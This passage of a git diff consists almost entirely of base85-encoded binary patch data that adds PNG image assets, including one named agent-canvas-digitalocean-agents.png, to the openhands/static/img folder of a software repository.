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 Q0sKGXCXYQo+IiFe0eZLzGXMYp literal 0 HcmV?d00001 diff --git a/openhands/static/img/agent-canvas-digitalocean-agents.png b/openhands/static/img/agent-canvas-digitalocean-agents.png new file mode 100644 index 0000000000000000000000000000000000000000..7632fc52639430898722a28087e56d5cdd038a1e GIT binary patch literal 36789 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 